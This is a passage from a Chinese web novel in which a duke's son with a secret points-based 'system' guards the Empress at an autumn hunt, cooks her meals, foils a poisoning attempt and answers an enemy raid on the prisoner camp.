江撼岳躬身行礼,大步流星地退出了御书房。
他满脑子都是秋狩布局和儿子那神秘的‘师尊’,全然没察觉女帝问话中那丝微妙的异样。
御书房内,重归寂静。
云暮看着女帝放下茶盏后,略显出神的表情,忍不住上前一步,低声道:
“陛下…您方才为何不直接对镇国公言明心意?若陛下透露出属意世子之意,镇国公定然…”
“云暮!”
萧璇月打断她,语气带着一丝烦躁和落寞,
“强扭的瓜不甜。朕…是帝王,岂能行那强取豪夺之事?况且…”
她顿了顿,目光飘向窗外,声音低了下去,带着一丝怅惘,
“你难道没看出来吗?江凡那小子,对周婉如或许无意,但对朕…也并无男女之情。
他留在朕身边,更多是出于忠君之责,或许…还有几分对他那神秘师尊的‘任务’?朕又何必…自讨没趣?”
她的脑海中,不自觉地再次浮现出那夜金色斗篷、青铜面具的挺拔身影,那般强大,神秘,如同夜空中的皓月,可望而不可及…
与眼前这个时而惫懒、时而跳脱、时而又能爆发出惊人能量的少年身影,交织在一起,让她心乱如麻。
明明是两个人,为什么自己脑海总是会同时想起两人的身影?
如果江凡真是逍遥公子的弟子,那自己就更不该胡思乱想。
云暮看着女帝脸上淡淡的红晕和迷茫,心中暗叹一声,知道陛下对江凡或有好感,但此时还在纠结期待。
她不再多言,默默退到一旁。
萧璇月沉默良久,才缓缓收回目光,眼神恢复了冷静。
“传朕旨意,两日后秋狩,一切依计行事!朕倒要看看,这西山围场,究竟是靖王的葬身之地,还是…揭开所有谜团的钥匙!”
镇国公府,书房内。
江撼岳屏退了左右,只留江凡一人。
他端坐在太师椅上,虎目如电,上下打量着垂手肃立、看似恭敬却眼神飘忽的儿子。
经历了南疆的惊变和今日御书房的密谈,他再看这个‘不成器’的儿子,心境已是截然不同。
这小子,藏得太深了!
“凡儿,”江撼岳开口,声音低沉,
“南疆之事,你做得很好。生擒屠燎,寻回军饷,大涨我江家声威,也为陛下分忧解难。为父…甚慰。”
他难得地没有吹胡子瞪眼,而是给予了肯定。
江凡心里嘀咕,老爹今天吃错药了?
他面上却装出受宠若惊的模样,躬身道:
“爹过奖了!孩儿只是侥幸,全赖陛下洪福,爹爹虎威,将士用命!”
江撼岳摆摆手,目光锐利地盯着他:
“侥幸?临危受命,于万军中生擒敌酋,这是侥幸?宗师境的修为,也是侥幸?”
他话锋一转,单刀直入,
“凡儿,你老实告诉为父!你这一身修为,究竟从何而来?师承
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何人?为何要隐瞒至今?”
来了!
果然问到这个了!
江凡心中警铃大作,脑筋飞速转动。
系统是绝对不能暴露的!
但修为之事,必须给出一个合理的解释!
他早就准备好了说辞。
他脸上立刻露出为难的表情,压低声音,神秘兮兮地道:
“爹,此事…事关重大,孩儿本不敢透露。但既然爹问起,孩儿也不敢再隐瞒。孩儿…确实早年偶遇异人,蒙恩师不弃,收录门墙,传授了些强身健体、修炼内息的法门。”
“异人?恩师?”
江撼岳心中狂跳,强压激动,追问道:
“是何方高人?现在何处?为何从未听你提起?又为何要你伪装纨绔?”
江凡一脸崇敬地抬头望天,语气缥缈:
“恩师他老人家…神龙见首不见尾,游戏风尘,逍遥世间。名讳…师门有严令,不得对外人提及,孩儿不敢违逆。至于伪装…”
他叹了口气,露出一副身不由己的沧桑表情,
“恩师言道,木秀于林,风必摧之。孩儿资质愚钝,需在红尘中磨砺心性,厚积薄发,方可承其衣钵。
故而命孩儿收敛锋芒,暗中修行,非到万不得已不得显露。此次南疆之事,实乃情势所迫,不得不违逆师命,还请爹爹恕罪!”
他一番话说得半真半假,合情合理。
江撼岳听得心潮澎湃,眼中精光爆射!
果然有师尊!
而且听这描述,行事风格飘忽不定,修为深不可测,不正与那‘逍遥公子’的特征吻合吗?
他几乎已经断定,江凡口中的‘恩师’,就是著写《深宫秘恋》、之前现身皇宫的陆地神仙——逍遥公子!
他深吸一口气,努力平复激动的心情,拍了拍江凡的肩膀:
“凡儿,你做得对!尊师重道,谨守师命,是为大孝!为父不怪你!只是…日后若有机缘,定要替为父…替陛下,好好谢过你师尊的大恩!”
他话语中充满了暗示。
江凡心中暗笑,面上却郑重应道:
“孩儿谨记爹爹教诲!”
第144章 有底牌在手
见父亲接受了自己编的谎话,江凡心中石头落地,趁机说道:
“爹,两日后秋狩,凶险难料。恩师他老人家…日前云游路过,赐下一件护身宝甲,言道或可防身。”
说着,他假装从怀中取出一件薄如蝉翼的【天蚕金丝软甲】,双手奉上。
“宝甲?”
江撼岳目光一凝,接过软甲,入手轻若无物,却隐隐感到一股温润浩瀚的能量波动,以他大宗师的修为,竟也看不透其材质和品阶!
他运起一丝真气试探,只觉泥牛入海,毫无反应,但指尖触及时,却有一种坚不可摧的质感!
这绝对是稀世珍宝!
“这…这太珍贵了!凡儿!此甲你还是自己留着防身!为父修为已至大宗师,自有护体罡气…”
江撼岳连忙推辞。
“爹!您就收下吧!”江凡语气坚决,
“恩师赐下此甲时特意叮嘱,需交予爹爹。姐姐和和周姑娘她们,恩师也已另有赐予。孩儿…孩儿自己也有一件。
爹爹您乃边军统帅,国之柱石,安危关乎社稷,万不可有失!有宝甲护身,孩儿…和陛下也能更安心些!”
他故意提起女帝,加重砝码。
江撼岳闻言,虎目微湿,心中暖流涌动。
儿子长大了,知道心疼老爹了!
更重要的是,这‘师尊’连自家女眷和陛下都考虑到了,还赐下如此重宝!
这份关怀与‘投资’,意味深远啊!
他不再推辞,重重点头,将软甲郑重收起,沉声道:
“好!为父收下!代为父…多谢尊师厚赐!此恩此德,江家永世不忘!”
他看着江凡,越看越觉得这小子顺眼,原本的担忧尽数化为豪情:
“好!既然如此,我儿便安心准备秋狩!万事有为父在!定要让那些魑魅魍魉,有来无回!”
他意气风发,仿佛已看到靖王伏诛、大夏中兴的盛景!
“孩儿明白!”江凡拱手应道。
父子二人又闲聊几句,江撼岳便让江凡回去好生休息,养精蓄锐。
江凡如蒙大赦,赶紧溜回了自己的听雨轩。
关上房门,江凡长舒一口气。
总算把修为的事情糊弄过去了!
他意识沉入系统空间,看着那已然突破两百万大关的人气值,心情变得无比激动!
【当前人气值:2,150,800】
两百一十五万!
一夜暴富啊!
看来‘香艳+剧情’的组合拳,效果拔群!
“留一百万保底,剩下的一百一十五万…嘿嘿,是时候提升实力了!”
江凡眼中闪过兴奋的光芒。
秋狩在即,危机四伏,实力能强一分是一分!
宗师中期,在即将到来的大风大浪中,恐怕有些不够看了!
“系统!兑换修为提升至宗师巅峰!”
【消耗人气值1,000,000点!开始灌注修为…灌注中…】
刹那间,一股磅礴的能量洪流,疯狂灌入江凡的四肢百骸、经脉丹田!
他不敢怠慢,立刻盘膝坐下,运转《混元一气诀》,引导着这股能量冲刷、拓宽、凝练着自己的经脉与真气!
整个过程没有花多少时间。
当江凡缓缓睁开双眼,眸中精光如电,一闪而逝!
他感受着体内那磅礴无尽的雄浑真气,一种前所未有的强大感充斥全身!
举手投足间,仿佛蕴含着开山裂石的力量!
神识感知范围更是扩大了数倍,方圆数百丈内的风吹草动,尽在掌握!
宗师巅峰!
成了!
他兴奋地挥了挥拳头,感受着力量带来的安全感。
然而,当他下意识地看向下一个境界——大宗师初期的兑换需求时,脸上的笑容瞬间僵住,嘴角狠狠抽搐了一下。
【提升至大宗师初期,需消耗人气值:5,000,000点】
五百万?
抢钱啊?
江凡差点一口老血喷出来!
从宗师中期到巅峰花了一百万,他还以为大宗师初期顶多两三百万,没想到直接翻了五倍!
这系统的通货膨胀也太离谱了吧!
他郁闷地查看了一下其他备选方案。
【陆地神仙体验卡】依旧是一百万一张,【无敌领域】也是一百万一分钟。
这么一比,似乎…攒钱买体验卡更划算?
毕竟半步大宗师和真正的大宗师差距巨大,而体验卡直接一步登天,虽然有时限,但关键时刻
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能逆天改命啊!
“唉,路漫漫其修远兮…”
江凡叹了口气,认清了现实。
想靠正常修炼提升到能硬刚极道宗师甚至陆地神仙的境界,任重道远。
目前看来,囤积【体验卡】和【无敌领域】作为战略威慑和底牌,才是性价比最高的选择。
“看来,还得继续在话本创作上‘努力’啊!”
江凡摸了摸下巴,眼中闪过一丝邪恶的光芒。
既然女帝对‘林枫和女帝’的暧昧剧情反应那么大,那…换个女主角总行了吧?
既能赚人气,又能避免引火烧身!
说干就干!
他再次沉入心神,连接系统,开始创作《深宫秘恋》的最新章节。
这一次,他笔锋一转!
写道:大乾女帝与侍卫林枫坠崖后,在山洞中互诉衷肠,感情急剧升温。
然而,就在气氛暧昧之际,林枫突然接到女帝密旨,需秘密前往某地执行一项绝密任务!
离别之际,两人依依不舍。
林枫孤身上路,途中却偶遇一位妖娆妩媚、亦正亦邪的魔教妖女!
那妖女对林枫一见倾心,百般勾引,甚至不惜在其饮食中下入极厉害的媚药!
书中用大量笔墨描绘了妖女如何色诱、林枫如何中药后意志挣扎、以及那香艳刺激、差点擦枪走火的场面!
最终,林枫凭借对女帝的忠贞和强大的意志力,自残身体,以剧痛压制**,狼狈逃出魔掌…
写完提交!
江凡看着系统中瞬间开始飙升的人气值,得意地笑了。
嘿嘿,这下总该没问题了吧?
写的可是林枫‘出轨未遂’,还突出了他对女帝的忠贞不渝!
女帝看了,应该…不会那么生气了吧?
更让他惊喜的是,提交后系统提示:
【检测到作品影响力持续扩大,复刻本生成数量提升至6000份/次。】
又增加到六千份!
这意味着他人气值的积累速度也将大大加快!
“太好了!照这个趋势,秋狩之前,再攒一张体验卡绰绰有余!”
江凡心花怒放,对即将到来的危险,反而生出了几分期待。
有底牌在手,心里不慌!
第145章 这太珍贵了
翌日清晨,江凡从打坐中醒来,神清气爽。
习惯性地看向系统,很快嘴巴都咧到了耳根。
【当前人气值:1,480,650】
一百四十八万!
昨天提升修为花了一百万,一夜之间,又涨了三十多万!
这种增长速度让他心花怒放。
照这个速度,今晚就能凑够两百万,应该问题不大,明天能冲击三百万!
届时,手握两张【陆地神仙体验卡】或【无敌领域】,安全感简直爆棚!
“稳了!这次秋狩,只要靖王敢来,定叫他有来无回!”
江凡信心爆棚,立即换上官服上朝去了。
然而,这好心情,在踏入金銮殿的瞬间,再次消失。
龙椅之上的萧璇月,今日的脸色依然阴沉!
凤眸之中寒光凛冽,扫视下方群臣时,所过之处,满朝文武,个个噤若寒蝉,生怕触了霉头。
江凡心中一凸:这杀气…比昨天还重!
难道…昨晚那章‘林枫遇妖女’的剧情,把她给彻底惹**了?
不应该啊!
他明明写的是林枫守身如玉、忠贞不二啊!
这女人心,海底针,真是难以捉摸!
他赶紧缩起脖子,降低存在感,心中默念:看不见我,看不见我…
果然,整个早朝,气氛压抑得让人窒息。
萧璇月处理政务言简意赅,语气冰冷,带着一股火气。
当有官员小心翼翼地再次提及秋狩安危时,她直接冷声打断:
“朕意已决!无需再议!退朝后,即刻启程,前往西山围场!”
即刻启程?
不是说明天吗?
江凡一愣,不少官员也面露讶异。
萧璇月凤目一扫,不容置疑道:
“朕欲先行勘察围场地形,早作布置,以防不测。众卿依令行事即可!退朝!”
说完,根本不給众人反应时间,起身拂袖而去!
“退朝——!”
太监尖细的唱喥声响起,带着一丝仓促。
众官员面面相觑,但见女帝态度坚决,也不敢多言,纷纷躬身退下。
江凡心中疑窦丛生。
提前出发?
勘察地形?
女帝此举,更像是…在打乱某种节奏?
或者说,她在主动将‘舞台’提前搭建好,等待‘演员’入场?
看来,这场秋狩,远非表面那么简单!
女帝必有深意!
作为贴身侍卫,他只能跟着女帝离开。
……
皇家仪仗浩浩荡荡开出皇宫,旌旗招展,甲胄鲜明,引得京城百姓纷纷驻足围观,议论纷纷。
女帝銮驾居于中央,由最精锐的御林军护卫。
江凡作为御前侍卫,骑马紧随銮驾之侧,目光警惕地扫视着四周。
他能感觉到,暗处有无数道目光,正注视着这支队伍。
队伍行进速度不快,直到午后,才抵达位于京城西郊百余里外的西山皇家围场。
此处山峦起伏,林木茂密,地势险要,确实是设伏与反伏击的绝佳地点。
一到围场,随行禁军和工部官员立刻开始忙碌起来,勘测地形,安营扎寨,布置岗哨,一派紧张有序的景象。
江凡跟随女帝进入早已搭建好的中军大帐。
萧璇月卸下披风,坐在临时搬来的龙案后,便开始处理随身带来的紧急奏章,神色凝重,眉宇间带着一丝疲惫。
江凡按刀肃立在帐门内侧,眼观六路,耳听八方,同时心中飞速盘算。
一旦真的发生冲突,遇到不可力敌的高手,自己该如何出手才能不暴露身份?
直接动用【陆地神仙体验卡】固然爽快,但后果太严重,等于自爆底牌。
必须有个既能解围、又能隐藏自身的万全之策!
他心念一动,再次连接系统商城,快速浏览起来。
很快,一件物品吸引了他的注意——
【百变披风】:兑换需人气值10000点。
披风类法器,注入真气后可随心变幻外形、颜色乃至材质,附赠‘无相面具’功能,可瞬间改变佩戴者面部轮廓、气质,令人难以辨认。
备注:无属性加成。
好东西!
江凡眼睛一亮!
最关键的是心念一动,一秒换装,还能自动变脸!
这简直就是为他量身定做的‘马甲’神器!
价格也便
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宜,才一万点!
买了!
【消耗人气值10000点!百变星君披风已存入系统空间!】
他趁着无人注意,假装整理衣领,心念微动,那件披风便无声无息地出现在他肩上,与官服完美融合,不显突兀。
他尝试着将一丝真气注入其中,脑海中想象着‘逍遥公子’那身标志性的金色斗篷和青铜面具…
下一刻,他肩上的披风微微泛起一丝流光,一种奇妙的感应建立起来。
他确信,只要自己一个念头,就能瞬间完成‘变身’!
完美!
就在这时,云暮走了过来,脸色依旧有些苍白,显然旧伤未愈。
她看到江凡,目光落在他肩上那件新披风上,眼中闪过一丝好奇,轻声问道:
“江侍卫,这披风…样式挺别致,以前没见你穿过?”
江凡心里一紧,面上却不动声色,随口胡诌道:
“哦,这个啊,从家里带来的旧物,天气转凉,随手翻出来披上挡挡风。”
他赶紧转移话题,关切地看着云暮,
“云暮姑娘,你脸色还是不好,伤势如何了?”
云暮叹了口气,揉了揉依旧隐隐作痛的胸口:
“劳侍卫挂心,好多了,只是运功时还有些滞涩,需再调养几日。”
江凡看着她强忍痛楚的模样,心中一动。
云暮是女帝最信任的心腹,修为不俗,若能尽快恢复,也是一大助力。
而且…搞好关系没坏处!
他假装从怀中(实则是系统空间)取出一个白玉小瓶,倒出一颗龙眼大小的丹药,递了过去,压低声音道:
“云暮姑娘,我这有一颗家师秘制的‘九转还魂丹’,对内伤有奇效。姑娘若不嫌弃,便服下试试,或可助姑娘早日康复。”
“九转还魂丹?”
云暮美眸瞬间瞪大,难以置信地看着那颗丹药!
以她的见识,自然能感受到丹药中蕴含的磅礴生机和精纯药力!
这绝对是疗伤圣药!
价值连城!
江凡竟然…就这么轻易地送给自己了?
“这、这太珍贵了!奴婢不敢…”
云暮连忙推辞。
第146章 有这等厨艺
“姑娘不必推辞!”
江凡将丹药塞到她手中,语气诚恳,
“姑娘护卫陛下,劳苦功高,如今有伤在身,江某略尽绵力,也是分内之事。快服下吧,莫要耽误了伤势。”
他这话半真半假,既有收买人心之意,也确实有几分对云暮的敬佩和同情。
云暮看着手中那枚的丹药,心中涌起一股暖流和深深的感动。
她不再推辞,重重点头:
“奴婢…谢过世子厚赐!此恩,云暮铭记于心!”
说罢,她将丹药纳入口中,盘膝坐下,运功化开药力。
丹药入腹,顿时化作一股暖流,涌向四肢百骸,所过之处,受损的经脉以肉眼可见的速度开始修复。
不过片刻功夫,云暮苍白的脸色便恢复红润,气息也变得悠长平稳,显然伤势已经痊愈!
她睁开美眸,眼中满是惊喜和感激,起身对江凡深深一福:
“世子灵药,果然神效!奴婢感觉…伤势已无大碍了,甚至连实力都精进了一丝!多谢世子!”
“姑娘不必多礼,举手之劳而已。”
江凡摆摆手,心中暗爽。
这【极品疗伤丹】花了他五千人气值,效果果然杠杠的!
以后要是身份暴露,女帝要发飙,云暮多少能帮自己说点话。
这笔投资,值!
这时,一名宫女端着食盘走进大帐,片刻后又原封不动地端了出来,对云暮低声道:
“云暮姐姐,陛下说…没胃口。”
云暮闻言,秀眉微蹙,担忧地看了一眼帐内,对江凡低声道:
“陛下这几日心绪不宁,食不甘味,昨夜又批阅奏章至三更,今早更是粒米未进…长此以往,龙体如何吃得消?”
江凡看着那丝毫未动的饭菜,再看看帐内女帝那略显单薄的背影,心中没来由地一软。
他沉吟片刻,对云暮道:
“云暮姑娘,你在此守候,我去去就回。”
“世子要去何处?”云暮一愣。
“陛下龙体要紧,光吃药不吃饭怎么行?我去看看能不能弄点合陛下胃口的吃食。”
江凡说完,不等云暮反应,便转身朝着营地后方的炊事区走去。
云暮看着他的背影,美眸中闪过一丝异彩。
这位世子爷…还会弄吃的?
江凡来到炊事营,亮出御前侍卫的腰牌,伙头军自然不敢阻拦。
他扫了一眼食材,心中已有计较。
为了确保万无一失,他心一横,再次连接系统!
“系统!兑换【神级厨艺(满级)】!”
【消耗人气值50,000点!神级厨艺(满级)已灌注!】
刹那间,无数关于食材处理、火候掌控、调味搭配、甚至药膳养生的庞大知识涌入脑海!
再看那些普通的食材,在他眼中已变得截然不同,如何搭配才能激发极致美味,了然于胸!
他挽起袖子,亲自挑选了几样新鲜时蔬、一块上好的里脊肉、一些菌菇和调料。
生火、洗菜、切配、掌勺…动作行云流水,如同艺术大师在创作!
锅铲翻飞间,香气四溢!
不过一刻钟功夫,三样小菜便已做好!
他用食盒装好,快步返回中军大帐。
云暮还守在帐外,见他回来,鼻翼微动,眼中露出惊讶之色:
“好香啊!世子,这真是你做的?”
江凡得意一笑,将食盒递给她:
“尝尝?”
说着,又从食盒底层拿出一个小碗,里面盛着留给云暮的那份。
云暮接过小碗,尝了一口清炒时蔬,美眸瞬间亮起!
清爽鲜甜,火候恰到好处!
这手艺…简直堪比御厨!
不,比御厨做的更有灵气!
她难以置信地看着江凡:
“世子...你、你何时学的这般好手艺?”
“嘿嘿,瞎琢磨的,可能我天赋异禀吧!”
江凡打了个哈哈。
云暮不再多问,端着食盒走进大帐。
江凡在外面忐忑地等着。
不多时,帐内传来女帝略带诧异的声音:
“嗯?这味道…今日的膳食,似乎与往日不同?”
又过了一会儿,云暮端着空了的食盒走了出来,脸上带着笑容,对江凡低声道:
“陛下全用了!还夸赞味道甚好,问是何处寻来的厨子?”
江凡心中一块石头落地,同时也有些小得意。
系统出品,当然都是精品。
这时,帐内传来萧璇月的传唤:
“江凡,进来回话。”
江凡整了整衣冠,走进大帐,躬身道:
“臣在。”
萧璇月已放下朱笔,凤眸落在江凡身上,带着一丝探究:
“方才的膳食,是你做的?”
“回陛下,是臣…听
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说您胃口不佳,所以一时兴起,胡乱做的,不合规矩,请陛下恕罪!”
江凡赶紧请罪。
“恕什么罪?”萧璇月嘴角弯了一下,心中还是一暖。
“朕许久未曾吃到如此合胃口的家常小菜了。想不到,你还有这等手艺?何时学的?”
她语气中带着好奇。
一个镇国公世子,宗师高手,居然精通厨艺?
这组合也太怪异了!
江凡硬着头皮,继续编:
“回陛下,臣…臣以前闲来无事,就好个口腹之欲,在京中各大酒楼吃遍了,觉得他们做得也就那样,便自己琢磨着做。
许是…许是臣在吃喝玩乐上颇有天赋,一试之下,竟无师自通…”
他越说声音越小,自己都觉得这理由太扯了。
萧璇月听着他这番‘纨绔自白’,又是好气又是好笑,心中的压抑也消散了大半。
要不是见自己胃口不好,他也不会展露厨艺。
这点让萧璇月心中十分感动,于是说道:
“既然你有此天赋,甚好。朕近日胃口不佳,寻常御厨所做,难以入口。即日起,朕狩猎期间的膳食,便由你负责了。”
江凡:“!!!”
他脸上的笑容瞬间僵住,差点以为自己听错了!
让我…当御厨?
我可是宗师巅峰高手、御前带刀侍卫啊喂!
将来要成为陆地神仙的男人,你让我天天围着锅台转?
“陛、陛下!这…这恐怕于礼不合吧?臣…臣是侍卫,岂能擅入庖厨…”
他试图挣扎。
“嗯?”萧璇月凤眸一眯,一股无形的威压弥漫开来,
“怎么?你不愿意?是觉得给朕做饭,委屈你了?”
江凡被她目光一扫,顿时头皮发麻,连忙摆手:
“不不不!臣不敢!臣…臣荣幸之至!只是…只是怕技艺粗陋,有负圣恩…”
“朕觉得甚好。”
萧璇月一锤定音,语气不容置疑,
“此事就这么定了!云暮,传朕口谕,即日起,朕之膳食,由御前侍卫江凡专司负责,一应食材,由御厨房优先供应!”
“奴婢遵旨!”
云暮强忍笑意,躬身应道。
虽然江凡总是一副偷奸耍滑的模样,但这几日让他做饭,女帝吃的也放心。
最起码忠诚度是没问题的,不至于在饭菜里做手脚...
第147章 又多亏了你
江凡看着女帝的眼神,只得哭丧着脸应道:
“臣…遵旨…”
早知道就不该心软!
然而,转念一想…
当厨子好像也不错?
至少不用像个木桩子一样在门口傻站几个时辰了!
可以名正言顺地摸鱼、偷吃、还能避开那些烦人的应酬…
这么一想,似乎也不全是坏事?
他偷偷瞥了一眼女帝,见她已重新拿起朱笔,嘴角却噙着一丝笑意,在烛光下,竟有几分惊心动魄的美。
江凡的心,没来由地跳漏了一拍,赶紧低下头。
“还愣着干什么?晚膳时辰将至,还不快去准备?”
萧璇月头也不抬,淡淡说道。
“啊?是!臣这就去!”
江凡如梦初醒,连忙躬身退出了大帐。
该死,自己是立志当咸鱼的人,怎么能被女帝的美色迷惑?
看着江凡落荒而逃的背影,萧璇月放下朱笔,轻轻舒了口气。
她端起旁边云暮重新沏好的热茶,抿了一口,目光落在帐外忙碌的身影上,眼神有些复杂。
这个江凡…身上的谜团,真是越来越多了。
高深修为,神秘师承,精湛厨艺…他到底还有多少不为人知的本事?
而那个藏在他身后的‘逍遥公子’…明日,你会出现吗?
她轻轻摩挲着茶杯,眼中闪过一丝期待,以及一丝说不清的紧张。
帐外,江凡认命地走向炊事营,一边走一边琢磨晚上做点什么好。
既然躲不过,那就…用美食征服女帝的胃?
说不定还能刷点好感度?
万一哪天马甲爆了,或许还能保住小命?
嗯,这个思路…似乎可行!
西山围场的黄昏,霞光漫天,给肃杀的军营镀上了一层暖色。
江凡系着粗布围裙,手持铁锅,正对着灶台施展他刚兑换来的【神级厨艺】。
食材在他手中仿佛被赋予了生命,刀工如行云流水,火候掌控得出神入化。
“嗯,火候差不多了。”
江凡满意地点点头,正准备起锅装盘,眼角余光却瞥见一个矮胖的厨子,正鬼鬼祟祟地靠近灶台,脸上堆着谄媚的笑容,手中还拿着一个调料罐。
“江…江大人!辛苦辛苦!小的来帮您撒点提鲜的香料吧?这是小人的独家秘方!”
那厨子说着,就要将罐子里的粉末往鸡汤里倒。
江凡眉头一皱,神识早已扫过那罐‘香料’,一股极其微弱的气味被他捕捉到!
毒!
而且是剧毒!
“不必!”
江凡冷喝一声,手腕一翻,快如闪电,一把扣住了那厨子持罐的手腕!
力道之大,让对方顿时惨叫一声,调料罐‘哐当’落地,白色的粉末撒了一地,发出‘滋滋’的轻微腐蚀声!
这人真是不专业啊,有这么明目张胆下毒的?
“啊!大、大人饶命!”
厨子脸色瞬间惨白,浑身抖如筛糠。
江凡眼中寒光一闪,另一只手瞬间封住他周身大穴,将其制住。
他蹲下身,用手指蘸了点地上的粉末,凑近鼻尖一嗅,脸色顿时阴沉如水!
果然是见血封喉的剧毒‘鹤顶红’!
“说!谁指使你的?!”
江凡声音冰冷,带着杀意。
那厨子涕泪横流,哭嚎道:
“大人饶命啊!是…有人抓了小的老母和幼子,逼小的在陛下的膳食中下毒!若是不从,就要杀了他们啊!小的…小的也是被逼无奈啊!”
江凡岂会信他鬼话?
正准备用分筋错骨手逼问,却见那厨子眼中闪过一丝决绝,猛地一咬牙!
江凡暗道不好,想要阻止已是不及!
只见那厨子嘴角溢出一缕黑血,脑袋一歪,气息瞬间断绝!
竟是咬碎了早已藏在口中的毒囊!
“该死!”江凡低骂一声,松开手。
线索又断了!
但用脚指头想也知道,幕后主使除了靖王,还能有谁?
这老贼,真是无孔不入!
居然把手伸到了炊事营!
幸好女帝临时起意让他来负责膳食,还有这人应该真的被胁迫,根本不专业,否则后果不堪设想!
他心中后怕不已,同时也怒火中烧。
靖王这厮,为了皇位,真是无所不用其极!
他阴沉着脸,将尸体拖到角落用杂物盖住,又迅速将沾染毒粉的地面清理干净,这才深吸一口气。
平复了一下心情,将做好的三菜一汤仔细检查一遍,确认无毒后,放入食盒,快步走向中军大帐。
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帐内,萧璇月刚批完几份紧急军报,正揉着发胀的太阳穴。
见江凡提着食盒进来,她脸上闪过一丝期待。
方才那顿午膳,确实让她胃口大开。
而且江凡亲自为她做饭,心中还有种特别的感觉...
“陛下,膳食已备好。”
江凡将食盒放在案几上,一边布菜,一边压低声音,将方才炊事营下毒之事简要说了一遍。
萧璇月听完,凤眸之中寒芒暴涨,玉手猛地拍在龙案上:
“好个靖王!真是狗急跳墙!竟用如此下作手段!”
她胸脯微微起伏,显然气得不轻。
但当她目光落在那些色香味俱全的菜肴上时,已经没有了胃口。
她看向江凡,语气缓和了些:
“此次…又多亏了你。若非让你负责膳食,朕险些…”
她的膳食云暮会帮忙试毒的,但依然充满危险。
江凡连忙道:
“陛下洪福齐天,自有百灵庇佑!宵小之辈的伎俩,岂能得逞?陛下快请用膳吧,菜凉了就不好吃了。”
他见女帝似乎因这事没了胃口,赶紧劝道,
“陛下,身体要紧!越是此时,越要保重龙体!您放心,有臣在,定不会再让奸人得逞!”
看着江凡那关切而坚定的眼神,萧璇月心中有一股暖流涌过。
这小子有时候还是挺靠谱的,就是性子懒散了些。
她轻轻“嗯”了一声,拿起玉箸。
或许是心情放松了些,也或许是江凡的手艺确实勾人食欲,她竟然将几样小菜和那碗鸡汤都用了大半。
用完膳,萧璇月感觉精神好了不少,她看着正在收拾碗筷的江凡,忽然问道:
“江凡,叛首屠燎,已押至何处?”
江凡忙答道:“回陛下,已按您的旨意,秘密关押在营地西侧的死囚营,由父亲麾下的‘血狼卫’亲自看守,明日祭旗时提出。”
萧璇月点了点头,眼中闪过一丝冷厉:
“很好!明日,朕要用他的人头,震慑宵小,祭奠英灵!”
她顿了顿,语气略带疲惫,
“朕有些乏了,想歇息片刻。你与云暮在外值守,没有朕的吩咐,任何人不得入内。”
“臣遵旨!”江凡和云暮齐声应道。
第148章 臣也没法活
退出大帐,夜色已深。
营地点起了篝火,巡逻士兵的脚步声和甲胄碰撞声在寂静的山谷中格外清晰。
江凡与云暮一左一右,肃立在帐门外。
江凡意识扫过系统空间,人气值已缓慢增长到一百八十万左右,距离两百万大关还差一些。
他心中盘算着,等夜深人静,就找个机会更新话本,再赚一波人气,务必在明日狩猎开始前,将保底资金凑够两百万!
手握两张体验卡,心里才踏实!
他看了一眼身旁依旧保持高度警惕的云暮,低声道:
“云暮姑娘,你伤势初愈,不宜过度劳累。不如你先去歇息两个时辰,下半夜再来换我?”
云暮摇摇头,语气坚定:
“奴婢无碍,多谢世子挂心。陛下安危为重,奴婢不敢懈怠。”
她服用江凡的丹药后,伤势已基本恢复,此刻精神尚可。
江凡见她坚持,也不再劝。
时间一分一秒过去,到了子夜时分,江凡确实感到有些困倦,毕竟白日忙碌,神经又一直紧绷。
他打了个哈欠,对云暮道:
“云暮姑娘,我有些困顿,先去旁边帐中小憩片刻,若有异动,立刻唤我。”
云暮点点头:“世子放心去歇息吧,此处有奴婢。”
江凡走进旁边专为他准备的小帐篷,和衣躺在简易床铺上。
他并没有真的睡觉,而是立刻将心神沉入系统空间,准备创作今日的《深宫秘恋》章节。
“嘿嘿,女帝看了昨天的‘林枫遇妖女’,今天给她换个口味!”
江凡坏笑一声,开始构思。
他决定发挥‘流量密码’的极致,来个更狗血的!
就写:大乾女帝与侍卫林枫因妖女事件争吵,林枫觉得女帝不信任自己,于是负气离去。
女帝心情郁闷,此时,某国公世子趁机大献殷勤,陪女帝游湖赏月,诗词歌赋,逗得女帝展颜欢笑,似乎对其产生了一丝好感。
世子以为时机成熟,欲行不轨,关键时刻,林枫及时赶回,撞破‘**’,怒斥纨绔,与女帝爆发更激烈的冲突,然后再次负气出走…
留下女帝独自伤心落泪…
“完美!三角恋、误会、吃醋、冲突、要素齐全!肯定爆!”
江凡对自己的创意十分满意,将纨绔的虚伪、女帝的脆弱、林枫的愤怒与委屈写得淋漓尽致。
【作品检测中…完整性符合要求,审核通过。开始随机生成复刻本(5000份),投放中…!】
提交成功!
看着人气值又开始跳动上涨,江凡心满意足。
他收回心神,准备假寐片刻就出去替换云暮。
然而,就在他刚刚合眼,意识朦胧之际——
“敌袭——!西面囚营方向有敌袭!保护陛下——!”
凄厉的警哨声和震天的喊杀声,打破了夜的宁静!
江凡一个激灵从床铺上弹起,心脏狂跳!
来了!
靖王竟然提前动手了,根本没有等到明日!
他冲出帐篷,只见云暮已手持长剑,护在女帝帐前,脸色凝重。
“怎么回事?”江凡急声问道。
“是西面!囚营方向!”云暮语速极快,
“听动静,交手之人的真气波动极其强横!至少是大宗师!甚至有可能是…极道宗师!”
就在这时,中军大帐帐帘一掀,萧璇月已穿戴整齐快步走出,她显然也没睡着,凤眸含霜,沉声道:
“是镇国公那边!他亲自坐镇囚营!定是靖王派高手劫囚!”
江凡一听是父亲那边遇袭,而且可能有极道宗师,心中大急!
老爹虽然突破到大宗师,还有金丝软甲护身,但若面对极道宗师**,也绝对凶多吉少!
“陛下!臣**前去支援!”
江凡来不及多想,立刻抱拳**。
他不能眼睁睁看着父亲遇险!
萧璇月看着他焦急的眼神,又望了一眼喊杀震天的西面,银牙一咬:
“好!你速去!万事小心,影老,你暗中随行策应!”
她立即答应,并派出了身边最强的影老。
“老奴领旨!”
一道苍老的身影从阴影中浮现,对江凡点了点头。
“不行,影老留下,避免敌人调虎离山!”
江凡还没有被担忧冲昏头脑,女帝的安危也很重要。
而且影老跟着自己,那
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还怎么使用体验卡?
影老有些迟疑的看向女帝,萧璇月皱眉说道:
“朕这里还有不少高手,安全不用担心...”
“陛下不用多说,你的安危也很重要。若你出了事,臣也没法活了...”
江凡指的是女帝**,靖王不会放过他们。
但这话让人误会,云暮和影老等人都露出了然的神色,不由想起这两日的话本内容:女帝和侍卫暧昧。
而萧璇月心中一暖的同时,俏脸已经飞上红霞。
“你、你胡言乱语些什么...那你注意安全!”
该说不说,江凡这话瞬间让她心乱如麻。
